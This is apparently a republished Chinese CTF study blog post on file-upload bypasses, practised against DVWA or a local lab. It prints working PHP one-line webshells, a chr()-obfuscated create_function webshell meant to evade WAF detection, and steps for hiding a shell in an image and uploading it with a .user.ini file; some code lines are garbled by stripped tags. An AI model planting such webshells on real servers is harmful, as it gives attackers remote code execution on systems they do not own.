问题描述 (⌐■_■)在做图片马上传的题目,发现自己折腾很久,终于成功达到了抽刀断水、南辕北辙的效果~距离正确的WP仅有一部西游记那么长—— 没关系,菜鸟做题就是这样屡败屡战~失败是成功的山顶洞人,也只能这么安慰自己辽~ 但是,在解题过程中
(⌐■_■)在做图片马上传的题目,发现自己折腾很久,终于成功达到了抽刀断水、南辕北辙的效果~距离正确的WP仅有一部西游记那么长——
没关系,菜鸟做题就是这样屡败屡战~失败是成功的山顶洞人,也只能这么安慰自己辽~
但是,在解题过程中发现了其他的上传绕过思路,在这里梳理一下,说不定以后能用得到~本次是第二版啦,还会根据做题经验增补的~
祭出图片:白龙马镇文~保佑我的CTF图片马题目可以顺利通过,阿弥陀佛~
(●'◡'●)施法结束,正文开始~
文件上传解题思路就很传统:举起菜刀、蚁剑、冰蝎、哥斯拉往页面的脸上砸过去就行了~
本篇想测试的内容仅有两条:
穿新马甲的一句话木马连接蚁剑;
骑图片马的一句话木马连接蚁剑。
工具:蚁剑、Burpsuite
靶场:DVWA在线 Vulnerability: File Upload 或者 用虚拟机+PHPstudy当作靶场~
————————————————————————
0 前言
参考1:ctf.show_墨子轩、的博客-CSDN博客_蚁剑返回数据为空
参考2:蚁剑连接不上远程shell的解决办法_大河下。的博客-CSDN博客
测试过程中,蚁剑连接补上的可能原因如下~
①如果返回一长串红色框报错,那就是连接地址写错了;
②如果返回地址为空的黄色框报错,那就是写错文件或者包在上传过程中被WAF改掉或是拦截了;
可以试试BurpSuite抓包分析一下上传前后的内容是否有变化~如果上传内容没有被改掉、防火墙也没有问题,那就再仔细检查一下代码的内容吧~
————————————————————————
1 朴实无华的一句话木马
这个在没有防火墙盯着的情况下必然成功,但是...哪个不正经的网站会没有防火墙呢,做贼还是要讲一点技术含量的~
2 穿上马甲的一句话木马
查阅资料,以下是一些市面上常见的马甲款式——
————————————————————————————————
WEBSHELL免杀绕过WAF思路&方法(一) - 知乎 (zhihu.com)
php一句话木马变形技巧_bylfsj的博客-CSDN博客_一句话木马phpinfo
↑这两篇博文主要是替换与拼接函数绕过,均有代码段~其中第一篇对于原理的介绍多一些~
————————————————————————————————
一句话木马绕过检测的常见思路_si1ence_whitehat的博客-CSDN博客_一句话木马绕过
↑这一篇博文里有编码绕过的代码段,最后用主流的杀毒软件测试了一下效果~
————————————————————————————————
(1)php短标签,绕过的过滤;
php中最常见的标签为,不过在题目上传时这种可能会被过滤掉。根据查询结果,还有三种php的标签,分别是:
① ?> 需要配置short_open_tag,适合执行php语句; = ?>或许不需要配置,或许可以不闭合(就是只写=,不写?>),适合输出变量;
②<% %> 需要配置asp_tags,涉及到IIS6.0的解析漏洞;
③ php7及之后就已经不支持的写法~
参考博文:php中的短标签 太坑人了 - dongguol - 博客园 (cnblogs.com)
————————————————
我们下面分别测试一下这三种情况~
① ?>连接成功~成功~= ?>连接成功~= 连接成功~各版本均支持~
@eval($_POST['a']);?>= @eval($_POST['a']);?> @eval($_POST['a']);= @eval($_POST['a']);
②<% %>连接失败~可能是因为我在用默认配置,没有配置asp_tags;
<% @eval($_POST['a']);%>
<% %>涉及到IIS6.0解析漏洞的部分,可参考:墨者学院06 内部文件上传系统漏洞分析溯源
③尝试连接以前一定要注意版本:从PHP7开始,这种写法就已经不支持了哦~Php怎么不支持〈script language=“php”〉?_百度知道 (baidu.com)
网站版本正好是php7,因此失败了;于是我在虚拟机上调为php5的版本尝试连接,发现也是失败的...
(2)更换函数,企图寻找一种没被写进黑名单的函数;
这个我使用蚁剑连接失败了...切换php5版本、php7版本都是失败的...
php官方手册中关于assert的用法:如果 assertion
是字符串,它将会被 assert() 当做 PHP 代码来执行~PHP: assert - Manual,注意参数assertion
一栏的注解——
——————
如果替换的函数使用create_function,此函数在内部执行 eval(),这个是成功的!但也要注意版本,8.0.0以后就不会成功了(7.2.0~8.0.0中间的版本可以执行)~PHP: create_function - Manual
emm...call_user_func是调用回调函数,每当我看到他的说明就会很绕...简而言之这个与assert(@$_POST['a']);效果是相近的 ,实际连接也是失败的~顺便一提,把assert改成eval以后,也没有成功~
//:$a['internal'][841]表示的是assert
至于这个异曲同工,连接也是失败的~
这个是用数组的方式为每个元素回调函数,效果与call_user_func也是类似的~连接是失败的~改成eval以后也是失败的~
——————
preg_replace是执行一个正则表达式的搜索和替换,在参数$replacement中存在eval执行作用。这个在php5中执行成功了~但是在php7中提示为空、在php8中提示错误~
但是类似的写法,这样子连接是失败的,因为用到了变量作为执行函数~
——————
parse_str — 将字符串解析成多个变量,以下是官方手册,看来在php8以后也不太好用了~不过在php5、php7中我这里也没有连接成功~PHP: parse_str - Manual
(3)字符组合+变量函数,绕过执行函数的简单过滤;
以变量作为函数,这个连接失败了~看来用可变变量绕过的方法现在不太香了...
“.”在php种属于并置运算,可以连接两个字符串,“{}”也可以实现相同的功能,详PHP: 字符串运算符 - Manual~
我可以理解这个代码的逻辑,但是连接失败了~无论$c前是否有@,都失败了~
这个是用数组的方式组合,我这边同样也连接失败了~
(4)字符编码与混淆绕过试一试...
这个代码里因为用到了可变变量替换方式,所以同样失败了~
这个代码里因为用到了数组回调的替换方式,所以同样失败了~
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
这个鬼画符一样的ascii转码版本成功了,连接的密码是1,在php5、php7版本中可用,在php8的版本中会报错~
———————————————————————————————————————————
3 骑图片马的一句话木马
嗯...讲真这么测一圈能活到php8的绕过代码,好像就寥寥无几了~
我...的一位朋友,表面在为代码安全的进步高兴,内心实际已经开始感到焦虑了(?)
但值得开心的是有几个幸存者可以基于php5和php7运行的,所以我们再测试一下这些代码结合图片上传效果是怎么样的~
(1)前端代码仅检查文件扩展名
有时ctrl+u查看源码,可以看到前端使用javascript写成的小小WAF,拦截.php格式文件的上传~
这种情况下,把一句话木马的文件名扩展从.php变为.jpg .png等格式上传~
开启burp suite手动将包的后缀改为.php后放行,再用蚁剑链接即可~
(2)cmd命令拼接图片马
制作php图片马的方法可以参考这两篇(iInk大佬的博客封面好看,实名羡慕~):做一个图片马的四种方法(详细步骤) - 1ink - 博客园 (cnblogs.com)
我们用主流的cmd方法制作就好啦,这里我把原图片命名为0.jpg,一句话木马命名为0.php,合成命名为easyupload0.jpg,在当前文件夹的地址栏中直接输入cmd~
然后把这句话直接粘在后面~
copy 0.jpg/b + 0.php/a easyupload0.jpg // /b表示二进制,/a表示ascii码
生成一个崭新的jpg文件,因为懒得开启bp,就直接把后缀改成php连接了,发现....连接失败了...
用text打开以后发现最末端的一句话木马时没有尖括号的...
我又从网上下载了一匹崭新的卡通马🐎图片,发现结果是一样一样的...而且即使把最后一句话粘贴成执行语句,也是连接不上的...
(3)文件增加图片头,Burpsuite改包,配合.user.ini上传,成功~
这个可以参考攻防世界easyuopload题目解题流程,有配图与步骤说明~
工具:Burpsuite、蚁剑;
解题基本流程:
1).user.ini文件→增加图片头→上传.user.ini,burpsuite抓包修改文件类型
2)php短标签木马→增加图片头→修改文件后缀→上传图片→回显图片上传地址
3)蚁剑→连接上传地址同目录的php文件(不可以直接连接非.php后缀的图片)
攻防世界WEB练习-easyupload_不知名白帽的博客-CSDN博客
Web安全攻防世界06 easyupload_梅头脑_的博客-CSDN博客_easyupload
——————————————————————————————————————————
目前这篇文章第二版哦,以后会根据解题经验再总结的~
最后再总结一下我本人连接成功的一句话木马吧~
↑全版本可用~
@eval($_POST['a']);?>= @eval($_POST['a']);?> @eval($_POST['a']);= @eval($_POST['a']);
↑全版本可用~
↑php8不可用~
↑php7、8不可用~
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
↑php8不可用,连接密码为1~
也许是因为我比较菜,所以成功得极少...总感觉有些代码其实稍微改改是很有潜力的...等我有一天变厉害了再回来想想办法~
博文写得模糊或者有误之处,欢迎留言讨论与批评~
码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)
来源地址:https://blog.csdn.net/weixin_42789937/article/details/128268458
--结束END--
本文标题: CTF 总结01:文件上传绕过
本文链接: https://www.lsjlt.com/news/421521.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0